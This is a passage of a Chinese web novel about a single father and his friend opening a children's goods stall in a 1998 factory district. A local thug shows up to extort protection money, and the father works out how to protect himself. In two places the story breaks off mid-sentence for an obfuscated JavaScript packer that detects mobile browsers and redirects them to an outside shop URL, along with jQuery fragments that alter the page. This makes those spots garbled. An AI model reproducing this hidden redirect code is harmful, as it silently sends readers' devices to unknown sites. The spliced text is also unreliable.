可看着王猛认真搬木板、擦柜台的样子,他又觉得值——这是他迈出“稳定”的第一步,是从“飘着”到“扎下”的开始。
开业那天,没放鞭炮,没喊口号,连块“开业大吉”的红布都没挂。
天刚亮,五点多,林凡就开了窗口,把商品整齐地摆在玻璃柜里:磁性写字板靠在最显眼的位置,屏幕擦得干干净净;
铅笔盒排成一排,小燕子的头像朝着外面,看着喜庆;AD钙奶放在角落,用块洗得发白的蓝布盖着,显得金贵,也怕落灰。
王猛穿着他最好的旧工装——洗得发白的蓝色,袖口缝了块补丁,他前一天晚上用烙铁熨了半天,把褶皱都熨平了。
他坐在小马扎上,腰板挺得笔直,像在厂里参加安全检查,眼睛瞪得老大,盯着每一个路过的人。
有孩子好奇地往窗口探头,他还会学着林凡的样子,小声问:
“要不要看看?都是好东西,给孩子用的,安全——你看这袜子,纯棉的,不硌脚。”
林凡抱着笑笑,在旁边观察。
起初,路过的人只是瞥一眼这个突然冒出来的小棚子,脚步没停。有个大妈还嘀咕:
“这破棚子也能卖东西?
别是假货吧?”
王猛听见了,想解释,被林凡拉住了
——他知道,说再多不如让顾客自己看。
渐渐地,相熟的邻居被吸引过来。
张婶拎着菜篮子,菜叶子上还沾着露水,扒着窗口往里看:
“哎呦,凡子、猛子,你们还真把这破棚子弄起来了?
刷了漆就是不一样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607475|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着亮堂多了!
卖啥呢?给孩子用的?”
“张婶,是啊,卖点小孩用的玩意儿,您看看有没有需要的。”
林凡笑着招呼,还从柜台里拿出块草莓味的橡皮递过去——那橡皮是粉色的,带着淡淡的香味,成本两**,卖五**,
“您闻闻,这香味正,孩子写作业用着也开心,还不容易丢。
我家笑笑就用这个,丢了两块,现在天天揣兜里。”
张婶接过来闻了闻,眼睛亮得像星星:
“这橡皮好!比小卖部的香多了!小卖部那个橡皮,一股子怪味,孩子都不爱用。
还有这铅笔盒,印着小燕子呢!我家小伟天天跟我闹着要,说同学有,他没有!”
她指着《还珠格格》铅笔盒,又看到了角落里的AD钙奶,惊讶地说:
“哎呦,还有AD钙奶?这可不便宜!百货大楼卖一块二一瓶呢!我家小伟跟我要了好几次,我都没舍得买。”
张婶最后给孙子买了块橡皮,又犹豫着拿了瓶AD钙奶,嘴硬心软:
“给我家小伟尝尝鲜,省得他总跟我闹,说我偏心。”
付了钱,她还站在门口跟路过的邻居说:
“这东西挺好,橡皮香,铅笔盒也结实,凡子和猛子都是实在人,不会卖假货。”
有了第一个顾客,后面的人就像潮水似的涌过来。
早上八点多,家属区的孩子要上学,家长带着孩子路过,都被柜里的彩色商品吸引。
一个小男孩指着磁性写字板,哭闹着要买:
“妈妈,我要那个能写字的板!小明就有,他昨天还在上面画画给我看!”家长拗不过,问了价,林凡说“八块钱”。
家长皱了皱眉:
“这么贵?能便宜点不?”
林凡笑着说:
“大姐,这写字板结实,你看这边框,是塑料的,摔不碎。
里面的笔能吸住,不会丢。孩子能用好几年,平均下来一天才几分钱,比买玩具划算多了。”
那家长想了想,咬咬牙付了钱,嘴里还念叨:
“这钱够买两斤肉了,你可得好好用,不许丢!”
小男孩抱着写字板,笑得合不拢嘴。
还有个年轻妈妈,刚下班,看到纯棉袜子,问:
“这袜子会不会起球?我之前在小卖部买的,洗了一次就起球,孩子穿着硌脚。”
王猛连忙说:
“大姐,你放心,这袜子是纯棉的,我家孩子也穿这种——我昨天刚给我家小子买了两双,洗了一遍,没起球。你摸摸,这料子多软和。”
他说着,还把袜子递过去让她摸。
那妈妈摸了摸,觉得确实软和,一次性买了三双,说:
“给我家孩子买两双,再给邻居家孩子带一双,省得我再跑一趟。”
王猛负责收钱找钱,忙得手忙脚乱。
有次,一个顾客买了双袜子,给了五块钱,王猛该找三块五,结果把五块当成一块找给人家,多找了三块。
林凡在旁边悄悄碰了碰他的胳膊,他才反应过来,脸一下子红到了脖子根,赶紧追上顾客,把钱要回来,一个劲地道歉:
“对不起,对不起,我太慌了,算错了,您别介意。”
顾客看他实在,笑着说“没事”,还夸他“实在人”。
还有次,一个大爷买了瓶AD钙奶,给了张皱巴巴的五块钱。
王猛怕是假的,对着光看了半天,又用手指摸了摸上面的纹路,才小心翼翼地放进钱盒里
——他以前收过**,那回赔了十块,心疼了好几天。
但不管多忙,王猛脸上都挂着笑。
额头上的汗顺着脸颊往下淌,滴在工装上,洇出小小的湿痕,他也顾不上擦,只偶尔用袖子抹一把。
林凡看着他的样子,心里踏实——他知道,王猛是真的把这个摊子当成了自己的事。
天黑下来,六点多,家属区的孩子都回家了,摊子才冷清下来。
两人坐在小马扎上,开始盘点收入。
王猛把钱盒里的钱倒出来,**票和硬币堆了一小堆,用报纸包了三层。林凡一张张数,王猛在旁边看着,眼睛都不眨。
数完了,林凡笑着说:
“一共八十二块五!”
王猛愣了愣,不敢相信:
“这么多?”
林凡又数了一遍,没错,八十二块五。
接着算成本——卖了五个磁性写字板(赚二十五)、三个铅笔盒(赚十二)、五双袜子(赚五)、两瓶AD钙奶(赚八**)、四块橡皮(赚一块二),还有两条手帕(赚一块四),总共毛利润三十二块九!
对于一个不足两平米、连招牌都不起眼的小棚子来说,这已经是天大的好开端。
王猛捏着那堆带着体温的**票,手都在抖,声音发颤:
“凡……凡子!一天就赚这么多?这比我蹬三轮强太多了!我以前蹬一天三轮,最多也就赚二十块,还得累得腰酸背痛!”
他激动得眼睛里闪着光,那是他下岗后,第一次觉得日子有了盼头,不是漆黑一片,而是有了点亮光。
林凡笑了,从里面数出六块钱递给王猛——是按日工资折算的,一百二一个月,平均一天四块,但他多给了两块,算是开业红包:
“这是你今天的工钱,拿着,以后月底一起结。今天开业,多给两块,沾沾喜气。”
王猛看着那六块钱,愣了一下,随即猛地摆手,手都快挥到林凡脸上了:
“不不不!凡子,这店都是你的本钱,我就是看看摊、收收钱,也没干啥重活,哪能一天拿这么多?使不得!太多了!四块就够了,多的我不能要!”
“拿着!”
林凡强行把钱塞进他手里,指尖触到他掌心的老茧,心里发酸,
“说好的一起干,就有你一份。今天你忙前忙后,比我还累,这钱你该得。
而且今天只是开始,以后生意好了,咱们还能租个大点的地方,到时候给你涨工资,让你家孩子也能天天喝上AD钙奶,不用再跟你要饼干。”
王猛捏着那六块钱,指腹反复蹭着纸币的纹路,像在摸什么稀世珍宝。
这个五大三粗、平时连哭都觉得丢人的汉子,眼眶突然红了,眼泪在里面打转,却强忍着没掉下来。
他用力点了点头,没说话,只是把钱仔细地揣进内衣口袋,还拍了拍,像是怕它长翅膀飞了。
林凡知道,这个伙伴,算是稳住了。
可就在他们收拾东西准备关挡板的时候,一阵脚步声传来——嗒嗒嗒,慢悠悠的,带着股痞气,像踩在人的心上。那声音越来越近,林凡的心里突然一紧,有种不好的预感。
几个吊儿郎当的身影晃了过来,为首的正是前几天在汽车站拦过林凡的高壮青年**。
他嘴里叼着烟,烟蒂快烧到手指了,火星子簌簌往下掉。
他穿着件花衬衫,扣子没扣好,露出里面的肥肉,眼神像淬了冰,死死盯着小棚子,嘴角还带着点冷笑。
林凡的心,猛地沉了下去,像掉进了冰窟窿。
他下意识地把笑笑往身后护了护,手臂紧紧圈住孩子的身子,对王猛使了个眼色,声音压得极低:
“猛子,沉住气,别冲动。”
王猛也看到了那几个人,脸色瞬间变了,从刚才的红润变得苍白。
他认得**——去年他蹬三轮时,**跟他要过“地盘费”,他不给,**就把他的三轮推到了沟里,车胎都摔破了。
王猛握紧拳头,指节泛白,慢慢站起来——棚子小,容不下太多人,真要动手,他得护住林凡和笑笑,哪怕自己挨揍也不能让孩子受委屈。
夕阳的光落在**身上,把他的影子拉得老长,罩住了小半个棚子,像块黑布盖了下来。
他吐掉烟蒂,用脚狠狠碾了碾,烟蒂在地上变成一滩灰,冷笑一声,声音像砂纸磨过木头:
“听说这几天新开了个店,生意不错啊?
一天就赚不少吧?怎么着,开店了,不知道跟我打声招呼?”
麻烦,还是找上门了。
林凡知道,这不是偶然
——小生意刚冒头,就像块刚出炉的馒头,总会引来盯着的苍蝇,尤其是在这鱼龙混杂的家属区。
**是这片的“街溜子”,专挑小摊贩欺负,收点“保护费”,不给就闹。
林凡深吸一口气,压下心里的慌。
他知道,这次躲不过去了
——这不仅是为了自己,更是为了王猛,
为了这个刚有起色的小店,为了笑笑能安稳的日子。
他往前站了一步,挡住王猛和笑笑,
脸上挤出个平静的表情,准备应对这场迟早要来的冲突。
第十章:苍蝇与壁垒(上)
红砖墙的国营机床厂家属区里,1985年栽下的老槐树早把枝桠伸到了房顶,蝉鸣声裹着热浪滚过灰扑扑的巷口。
那高壮青年叫黑皮,是这片家属区里响当当的“街溜子头”
住这儿的多是机床厂退休的老工人、车间里攥着扳手的技工,个个守着“规矩本分”的信条过日子,偏生黑皮是个例外。
他游手好闲惯了,专挑软柿子捏:卖菜的张老太被他抢过两根顶花带刺的黄瓜,修鞋的刘师傅收的零钱被他摸走过五**,连巷口炸油条的王婶,都得每天多炸一根给他“孝敬”,不然油锅准得被他扔块石头。
黑皮常年裹着件洗得发白的的确良花衬衫,还是十年前时兴的喇叭领,如今领口卷着圈黑边,磨出的**絮粘在上面,左胸那块暗褐色的酱油渍格外扎眼——上周在巷口小馆赊账吃炒面时溅的,油星子晕开半掌大,至今没洗,都发了硬。
下身是条破洞牛仔裤,膝盖处磨得发亮,像打了层蜡,裤脚被他用剪刀胡乱剪过,长短不齐,露出的脚踝沾着家属区旁工地的黄泥巴,泥里还裹着点草屑,走一步能掉两粒,在地上留下串歪歪扭扭的印子。
他那焦黄的头发里藏着密密麻麻的头皮屑,风一吹就飘落在花衬衫上,像撒了把碎盐;走路总晃着肩膀,双臂微张,手腕上还晃着条断了链的塑料手链,活像只刚从隔壁废品站爬出来的野狗,连巷口蹲点的土狗见了他,都得夹着尾巴绕着走。
他身后跟着两个跟班,都是家属区里没正经活干的闲散青年。
前头那个叫麻杆,瘦得胸腔骨根根分明,像没填棉絮的骨架子,灰布裤腿空荡荡晃着,风一吹能贴在腿上,活像挂在竹竿上的破布;
左脸嵌着颗黄豆大的黑痣,上面还戳着根黑**,总戴顶破草帽——帽沿缺了个角,露出的草茎发黄,下雨时还漏过水,他却宝贝得很,说是“遮阳神器”。
后头那个是冬瓜,矮胖得像刚从井里捞上来的冬瓜,圆滚滚的肚子把印着“98春晚”的灰T恤顶得老高,领口的松紧带早松了,露出一圈油腻的肉;
走路时肚子先往前拱,蓝布裤腰总往下滑,得腾出一只手时不时往上提,裤裆处还磨出了毛边,走快了就“哗啦哗啦”响。
三人晃着步子,踢着路边的石子,慢悠悠到了家属区西南角的棚子前。
这棚子是林凡上周从退休的老王头那借来的——老王头以前堆杂物的地方,林凡软磨硬泡了三天,还送了两斤刚买的红富士苹果,才借来的——就搭在3号楼南侧的空地上,旁边挨着废品站,风一吹总带着股霉味,混着废品站里旧报纸的油墨味,呛得人鼻子发酸。
棚顶的石棉瓦有两处破洞,前两天下雨时,林凡在下面摆了个豁了口的塑料盆接水,此刻盆底积着半盆混着灰的泥水,水面漂着片枯树叶,晃悠着不肯沉。
棚子门是两块旧木板钉的,边缘还翘着木刺,林凡昨天刚刷了层廉价的天蓝色油漆,漆没干透,风一吹就飘来股刺鼻的味道,呛得人想打喷嚏,木板上还留着他没刷匀的漆痕,一道深一道浅。
黑皮抬脚就往木板上踹,“哐当”一声闷响,震得棚顶的石棉瓦簌簌掉灰,细小的石渣子像雪粒似的落在玻璃柜上。
那柜台是林凡从旧货市场花十五块钱淘的,玻璃上有道斜斜的裂痕,用透明胶带粘着,胶带都发黄了;
柜里摆着一毛钱一本的卡通贴纸笔记本——封面印着“还珠格格”,小燕子的眼睛画得亮晶晶的,是当时孩子们最爱的款式,林凡进了二十本,昨天刚卖出去两本。
五毛钱一副的塑料跳棋,红的绿的棋子装在透明盒子里,就是少了两颗绿棋子,林凡用玻璃球补上了,玻璃球上还沾着点胶水印。
还有刚进的草莓味橡皮,三分钱一块进货,打算卖五分钱,装在个铁盒子里,橡皮上的草莓图案被压得有点变形。此刻,一块橡皮从柜角滚到中间,“嗒”地撞在跳棋盒子上,声音轻得像片叶子落在地上,却在这安静的棚子里格外清晰。
“哟呵,这是真支棱起来了?”
黑皮吐掉嘴里的烟蒂——是根没抽完的经济烟,过滤嘴都黄得发油,烟蒂上还沾着点唾沫——烟蒂在地上滚了圈,沾了层灰,又被他用鞋底碾了碾。
他那鞋底前掌早磨平了,露出里面的帆布,碾烟蒂时格外用力,“咯吱”响了声,在地上留下个黑印,像块脏疤。
他皮笑肉不笑地盯着林凡,眼神像生锈的铁钩,刮过皮肤时,连汗**都跟着发紧;嘴角的胡茬没刮干净,根根发硬,透着股凶气,说话时唾沫星子顺着胡茬往下滴:
“林凡,几天不见,**换炮啊?这破棚子刷了漆,还摆上玻璃柜了,这就当上小老板了?”
王猛“噌”地站起来——他本是坐在棚子角落的小马扎上帮林凡理货,手里还攥着个没拆封的塑料哨子,哨子上的彩色条纹都褪了色。
他比黑皮高半头,肩宽也宽出一圈,此刻绷着身子,像尊铁铸的塔堵在窗口,阴影几乎罩住半个棚子;
胳膊上的肌肉鼓起来,把洗得发白的旧工装袖子撑得发紧,袖口的线都崩开了两根,露出里面的棉线;
眼睛瞪得血红,像要冒火,攥着拳头的指节“咯咯”响,连呼吸都带着粗气,胸口起伏得像风箱,呼出来的气里还带着早上吃的玉米糊糊味:
“黑皮!你想干啥?!”
他下意识地把林凡和笑笑往身后挡,掌心的老茧蹭到林凡的胳膊——那老茧是常年在工地搬砖磨的,糙得像砂纸,还带着急出来的汗,湿了林凡胳膊一片,凉丝丝的。
林凡赶紧拉了拉王猛的胳膊,指尖触到他紧绷的肌肉,像摸在晒透的硬石头上,硬得硌手,连肌肉的纹路都能摸得清清楚楚。他凑到王猛耳边,轻声示意:
“别冲动,不值得——犯不着为他毁了自己。”
说完,他转身把笑笑往棚子最里面的角落推。那角落堆着三个进货的纸箱,最上面的印着“娃哈哈AD钙奶”的红色字样,字都褪了点色,箱子叠得有半人高,正好能挡住孩子的视线。
笑笑的小手还攥着个刚拆开的棒棒糖,糖纸是粉色的,印着只小熊,被她捏得皱巴巴的,糖汁顺着手指缝往下滴,粘在掌心。
“笑笑乖,”
林凡蹲下来,帮笑笑擦了擦掌心的糖汁,声音放得格外柔,
“数数罐子里的水果糖,数到一百,爸爸就给你买新的小熊饼干——就是上次你在百货店看的那种,饼干上有小熊脸的,不许出来哦。”
笑笑点了点头,小手紧紧攥着铁皮糖罐——那是林凡以前在工地干活时发的搪瓷缸子改的,缸子边缘有点生锈,硌得她手心发红——指节都泛白了。
她没敢哭,上次她哭,黑皮曾凶过她“再哭就把你糖罐扔去废品站”,这话她记了好几天,连做梦都怕糖罐被抢。
她只偷偷从纸箱的缝隙里往外看,眼睛睁得圆圆的,像受惊的小兔子,睫毛还微微发颤。
林凡站起身,脸上挤出一丝无奈的笑,眼角的细纹里藏着掩不住的疲惫——这几天为了搭棚子、进货,他每天只睡四个小时,连饭都顾不上吃,有时候啃个凉馒头就算一顿。
他的衬衫领口也有点脏,是昨天刷棚子时沾的蓝油漆,像块补丁;袖口磨得发毛,露出里面的棉线,活像被生活磨平了所有棱角。他朝着黑皮走过去,脚步放得轻:
“黑皮哥,您说笑了,什么老板不老板的。这棚子是借老王头的,货也没几件,就是混口饭吃,给孩子挣点奶粉钱——笑笑还在喝袋装奶粉,一袋三块五,够喝两天,贵的咱也买不起。”
他搓着手,指节因为紧张而发白,目光落在黑皮沾着油渍的衬衫上,只敢停一秒,就赶紧移开——怕多看两眼惹他不快。手心里的汗蹭在裤子上,留下片湿痕。
“奶粉钱?”
黑皮嗤笑一声,唾沫星子溅在玻璃柜上,留下点点黄印,像苍蝇屎。
他伸手就从柜里捞起一板AD钙奶——10瓶装的,林凡昨天刚进的,进价八块钱,他还没舍得给笑笑喝——手指在包装上蹭了蹭,指甲缝里的黑泥蹭在奶盒上,留下道黑印。
那黑泥是前几天在废品站翻东西沾的,他没洗,就这么带着。他掂量着奶板,晃了晃,听见里面奶液“哗啦”响,嘴角撇得更厉害:
“这玩意儿可不便宜吧?一块二一瓶,你这棚子一天卖十瓶,也能赚不少。看来这饭混得不错,都喝上这奶了——哦不对,这是国产的,不过也比袋装奶粉强,我家那小子还没喝过呢。”
他身后的麻杆和冬瓜也嬉笑着伸手。
麻杆想去抓柜角的磁性写字板——三块钱进的,打算卖五块,板上还画着个小太阳——指尖刚碰到板边,就被林凡拦了。
林凡的手按在写字板上,没用力,却透着股不容拒绝的劲。冬瓜则盯着玻璃柜里印着小燕子的铅笔盒——四毛钱进的,卖六**,铅笔盒上的小燕子还闪着亮片——嘴里嘟囔着
“这玩意儿我家小子也想要,上次他看见邻居家孩子有,闹了好几天”,伸手就想拿,手指都碰到盒盖了。
“黑皮哥,小本生意,经不起折腾。”
林凡的手比他们快一步,轻轻按住麻杆的手腕——麻杆的手腕细得像根干柴,一捏就能感觉到骨头,他却硬撑着没缩,还想往回挣,脸都憋红了。
林凡又把冬瓜的手往回推了推,语气依旧客气,指尖却带着劲:
“这板奶算我请哥几个解渴,别弄坏了别的——您看这铅笔盒,塑料的,一摔就裂,我还得卖给孩子呢,孩子盼着这盒呢。”
他顺势把AD钙奶塞到黑皮手里,又从柜台下摸出个铁皮盒——盒盖都锈了,是以前装饼干的,里面装着水果糖——倒出三根橘子味的,糖纸皱巴巴的,有的还粘了点灰,递给麻杆和冬瓜:
“两位兄弟也尝尝,甜的,孩子都爱吃,您拿回去给家里娃也行,不值钱的玩意儿。”
黑皮愣了愣,显然没想到林凡这么“上道”。
以前他来闹,摊主不是跟他吵就是躲,有的还哭哭啼啼,林凡这态度倒让他有点意外。
但他掂了掂手里的AD钙奶,嘴角撇得更厉害,露出点不屑——这点东西可满足不了他:
“凡子,你这就不实在了。哥几个来给你撑场子,就拿这个打发?”
他拧开AD钙奶的瓶盖,猛灌了一口,奶液顺着嘴角往下淌,滴在花衬衫的油渍上,晕开更大的污痕,像块地图。
他抹了把嘴,把奶瓶举着,语气里的凶气更重了:
“我跟你说,这地方鱼龙混杂——上周西边的废品站就被人偷了,你这棚子没个照应可不行。以后哥帮你看着点,免得有不开眼的来捣乱。你呢,一个月意思意思,给一百块‘辛苦费’,怎么样?”
“一百块?!”
王猛气得额头青筋直跳,像蚯蚓在皮肤下爬,看得清清楚楚。
他伸手就抄起旁边修棚子用的榔头——木柄是旧的,上面有不少划痕,是林凡从工地捡的,还带着点水泥印——木柄在他手里攥得发白,指节都陷进木头里,留下几道印子。
他往前跨了一步,榔头悬在半空,阴影正好罩住黑皮的脸,把黑皮的表情都遮暗了,声音里满是怒火:
“黑皮你别太过分!这棚子一个月租金才三十,你开口就要一百,明抢啊!”
林凡的心也沉了下去,像坠了块铅——他早知道黑皮不会善罢甘休,却没想到胃口这么大。
1998年的家属区,普通工人月薪也就三百多,一百块相当于他小半个月的收入,他哪拿得出来?
但他脸上的笑没散,只是更苦了,连声音都低了些,带着点哀求:
“黑皮哥,您这可真是高看我了。您看这棚子,破破烂烂的,石棉瓦都漏雨——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607476|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前两天下雨,我接了半盆水,半夜还起来倒了一次;
上个月从隔壁借了根电线,装了个15瓦的灯泡,晚上看货用,一个月电费都要五块。刨去租金三十、电费五块,再去了进货的本钱——您看这AD钙奶,一板赚四块,一天卖十板才赚四十,还不一定能卖那么多——我一个月能落下五十块就不错了。
今天开张第一天,早上到现在就卖了两本笔记本、一块橡皮,赚了一毛五,刚才买半斤猪头肉还是赊的,一块七**五,就想给猛子改善下伙食,他帮我看店也辛苦。”
他指了指桌角还没收拾的油纸,纸上沾着点肉渣,油印在铺桌子的旧报纸上——那是1998年6月的《晚报》,头版还印着“抗洪救灾”的新闻——晕出小小的圈,空气里还飘着点淡淡的肉香,是猪头肉特有的味道。
“少他妈跟我哭穷!”
黑皮把AD钙奶瓶重重顿在柜台上,“哐当”一声,奶液溅出来,洒在玻璃上,留下一道道白印,像鼻涕。他瞪着眼,唾沫星子横飞,连胡茬都翘起来了,声音也拔高了,在棚子里回荡:
“老子看你是不见棺材不落泪!给我砸!”
麻杆和冬瓜立刻撸起袖子,却没敢动——麻杆伸手想掀柜台,玻璃柜没固定,一掀就能翻,但他指尖刚碰到玻璃边,就被王猛的眼神吓住了。
王猛那眼神像要**,瞪得他手都抖了,赶紧缩了回去;冬瓜则想去踹棚子的木板,脚刚抬起来,看见王猛举着的榔头又高了些,赶紧把脚收回来,怕被砸到,连往后退了两步,差点撞到麻杆。
“我看谁敢动!”
王猛怒吼一声,声音像闷雷滚过家属区,隔壁废品站的狗都被惊得“汪汪”叫,连树上的蝉都停了声。榔头举过头顶,指节因为用力而泛白,连手臂都在微微发抖——他是真急了,怕黑皮砸了林凡的生计,这可是林凡好不容易才弄起来的。
“今天谁敢动一下,我就跟谁拼命!”
他往窗口一站,整个棚子的入口都被挡住,像堵不可逾越的墙,连风都吹不进来。
阳光照在他身上,把他的影子拉得老长,正好罩住黑皮,像要把黑皮吞进去。
周围渐渐围过来下班的工人和邻居——都是穿着工装的,有的刚从机床厂下班,手里还拿着铝制饭盒,饭盒上印着“机床厂”三个字;
有人探头探脑,扒着别人的肩膀看,嘴里还小声议论;有人皱着眉,说“黑皮又来欺负人了”。
住在2号楼的张婶拎着菜篮子,里面装着两颗白菜、一把菠菜,菜叶上还沾着水珠,她站在人群外,嗓门格外大:
“黑皮你干啥呢?欺负人家带孩子的算啥本事!林凡这孩子多老实,你也好意思下手——你良心被狗吃了?”
还有个穿工装的老头,是机床厂退休的李师傅,头发全白了,梳得整整齐齐,抱着胳膊站在人群前,声音虽轻,却透着股威严:
“林凡这小伙子不容易,老婆走得早,就靠他一个人带孩子,你别太过分了!真要闹到派出所,老刘来了,你也没好果子吃——拘留所的饭可不好吃!”
黑皮也没想到王猛这个愣头青真敢拼命。
他平时欺负人,对方要么怂要么躲,没见过敢举榔头的,一时被镇住了。他手还攥着AD钙奶瓶,指节都发白了,却没再说话——他是来求财的,不是来打架的,真闹出血,派出所的老刘来了,他至少得蹲几天拘留,划不来。
林凡趁机拉住王猛的胳膊,把榔头往下按了按,掌心的汗蹭在王猛的袖子上,湿了一大片。
他深吸一口气,压下心里的慌,对黑皮说:
“黑皮哥,何必动气呢?我是真拿不出一百块——您要是不信,我把进货的账本给您看,上面都记着呢。
这样,这个月我每天孝敬您一包烟,再加一瓶这个奶,您看行不?等以后生意真做起来,我肯定忘不了您的好处,到时候再给您加钱,您看咋样?”
他早算过账:最便宜的“经济烟”一包八毛钱,AD钙奶一块二,一天成本正好两块,一个月也就六十块——比一百块少了近一半,还符合他“小本生意赚不了多少”的人设,不会让人怀疑他藏了钱。
而且,每天见面给东西,也能少让黑皮找别的麻烦,算是“花钱买平安”。
黑皮眯着眼打量林凡——看他穿着旧衬衫,袖口都磨破了,脸上满是疲惫,不像装穷的样子;又看了看举着榔头的王猛,王猛还瞪着他,榔头没放下,眼神里的火还没消;
再扫了眼周围越来越多的邻居——有人已经开始指指点点,说他“欺负孤儿寡母”“没良心”,还有个穿西装的小伙子掏出了手机——那是当时稀罕的诺基亚直板机,黑色的,在人群里格外显眼,像是要打电话报警。
他咬了咬牙,心里盘算着:虽然没拿到一百块,但每天有烟有奶,一个月也能省不少钱——他自己抽烟一天得两包,喝奶也得一块二,这样算下来,等于白拿;
真闹大了,街道的李干事来了,他也得给几分面子,毕竟李干事管着家属区的治安,真把李干事惹了,他以后在这区里就不好混了,连赊账都没人肯给他。
“行啊,凡子,你小子会来事。”
黑皮冷哼一声,伸手夺过林凡递来的“经济烟”——烟盒是软的,被他捏得变了形,烟都皱了——揣进花衬衫的口袋里,口袋还破了个洞,能看见烟盒的一角。
“那就按你说的来。但你记住,要是让我知道你阳奉阴违——比如哪天不给烟不给奶,或者生意好了不上供,可别怪我不讲情面!”
他狠狠瞪了王猛一眼,眼神像淬了毒的针,带着威胁;又对麻杆和冬瓜挥了挥手:
“走了!”
三人晃晃悠悠地走了,黑皮走之前还不忘把那板没喝完的AD钙奶揣进兜里,奶液从瓶口漏出来,滴在他的牛仔裤上,留下道白印,像块疤。
第十一章:苍蝇与壁垒(下)
围观的人群见没打起来,议论着散了。
张婶走过来,拍了拍林凡的肩膀——她的手很粗糙,带着洗菜的水,有点凉,却很有力:
“凡子,你也太老实了,跟黑皮这种人不用客气,他再敢来,你就找街道的李干事,李干事最恨这种欺负人的,能治得了他!”
王猛放下榔头,气得呼哧呼哧像头老牛,胸口起伏得厉害,连话都说不连贯,手指着黑皮走的方向,声音都发颤:
“妈的!这黑皮就是个无赖!凡子,咱……咱就这么忍着?天天喂这帮孙子?这钱花得冤!”
林凡的脸色也冷了下来,刚才的客气全没了,像层壳被剥掉。
他看着黑皮消失的方向——黑皮拐进了家属区的小巷,巷口有个公共厕所,墙面上满是涂鸦——眼神像淬了冰的刀,带着狠劲:
“忍?当然不。猛子,今天你做得对,没你,这棚子可能真被砸了,但拼命不是长久办法——你总不能天天举着榔头守着。咱们得想办法筑道墙,让他们不敢随便来惹事,让笑笑不用再躲着。”
他伸手摸了摸笑笑的头,孩子还躲在纸箱后,小手攥着糖罐,糖纸都被捏破了,露出里面的橘子糖,糖都有点化了,粘在指头上。笑笑见他看过来,小声说:
“爸爸,我数到五十了,还没数完。”声音软乎乎的,带着点怕。
林凡帮笑笑把糖纸理了理,又擦了擦她手上的糖汁,才起身关好棚板,锁上那把旧挂锁——锁芯都锈了,是林凡从旧货市场花一块钱买的,钥匙转了好几圈才锁上,还“咔哒”响了一声,像在叹气。
他抱起笑笑,孩子的小胳膊紧紧搂着他的脖子,脸贴在他的胸口,还在微微发抖,连呼吸都很轻,怕惊动了什么。
“别怕,爸爸在,以后没人敢欺负咱们了。”
他轻声哄着,脚步却走得沉,心里像压着块石头——黑皮这只“苍蝇”不赶走,他这小店就不得安宁,笑笑也总活在害怕里。
回家的路上,林凡没说话,大脑却转得飞快。
路边的垃圾桶旁,有只苍蝇在叮一块剩馒头,嗡嗡地飞,时不时停下来啃两口,那馒头都发馊了,还沾着点土。
他路过时,挥手赶走了苍蝇,馒头滚到了路边,又引来两只蚂蚁。他突然明白,底层的小生意,在这个年代就像没盖盖子的肉——裸露在阳光下,总会引来苍蝇叮,躲也躲不开,忍也忍不久,拼也拼不过。
光靠躲、靠忍、靠拼命,都解决不了根本问题,得给自己筑一道“壁垒”,一道让苍蝇不敢轻易下嘴的墙。
晚上,哄睡笑笑后——笑笑睡前还拉着他的衣角,小声问
“爸爸,明天黑皮叔叔还来吗”,
他摸了摸笑笑的头,说
“不来了,爸爸会保护你”——
林凡坐在昏黄的钨丝灯下。那灯泡是15瓦的,光线很暗,照在桌上只能看清一小块,周围都是昏沉沉的影子。
桌上的笔记本摊开着,是他捡的旧作业本,背面用来记东西,纸都有点发黄了。
他拿起铅笔——是柜台里剩的,笔芯有点断,写起来总“断墨”——在“安全第一”下面重重写下三个词:关系、规则、借力。
笔尖划过纸页,留下深深的痕迹,像在木板上刻下决心,连纸都被戳得微微发皱。他看着这三个词,手指在上面敲了敲,开始琢磨具体的办法,像在盘算一盘棋,一步都不敢错:
直接给黑皮塞钱?不行。欲壑难填,今天要一百,明天可能要两百,后天说不定要五百,还会被他捏着把柄——
他会觉得你好欺负,以后想怎么拿捏,就怎么拿捏,永远甩不掉,就像苍蝇叮上肉,越叮越紧,最后连骨头都要被啃了。
那就要靠“规则”——把自己放进正式的规则里,让黑皮这种苍蝇不敢轻易下嘴。规则就像苍蝇拍,不一定能打死苍蝇,但至少能让它们不敢乱飞,不敢明目张胆地叮肉。
思路渐渐清晰,像雾散后的路,每一步都很明确:
第一步,办营业执照。
明天一早就去工商所,哪怕只是最简陋的个体户执照,也代表他的生意是受政府认可的——不是“野摊子”,不是黑皮想砸就能砸的。
黑皮欺负无照摊贩时理直气壮,因为没人管;但对有执照的正式商户,多少会忌惮——闹大了可能引来工商所的人,他也不想惹官非,毕竟“官”比“混子”更不好惹,他再横,也不敢跟政府对着干。
第二步,找街道搭线。
去跟街道的李干事搞好关系——李干事是家属区的“父母官”,管着治安、卫生,黑皮再横,也得给街道几分面子,怕李干事找他麻烦。
按时交租金、卫生费(一个月五块),偶尔送点不值钱的小礼——比如快过期的奶糖、笑笑穿小的旧衣服(洗干净的,叠得整整齐齐),不用贵,关键是混个脸熟,让李干事记得有他这么个人,记得他是个“老实本分的生意人”。
真出事了,李干事的一句话,可能比王猛的榔头还管用,黑皮再凶,也不敢不听李干事的话。
第三步,处好邻居关系。
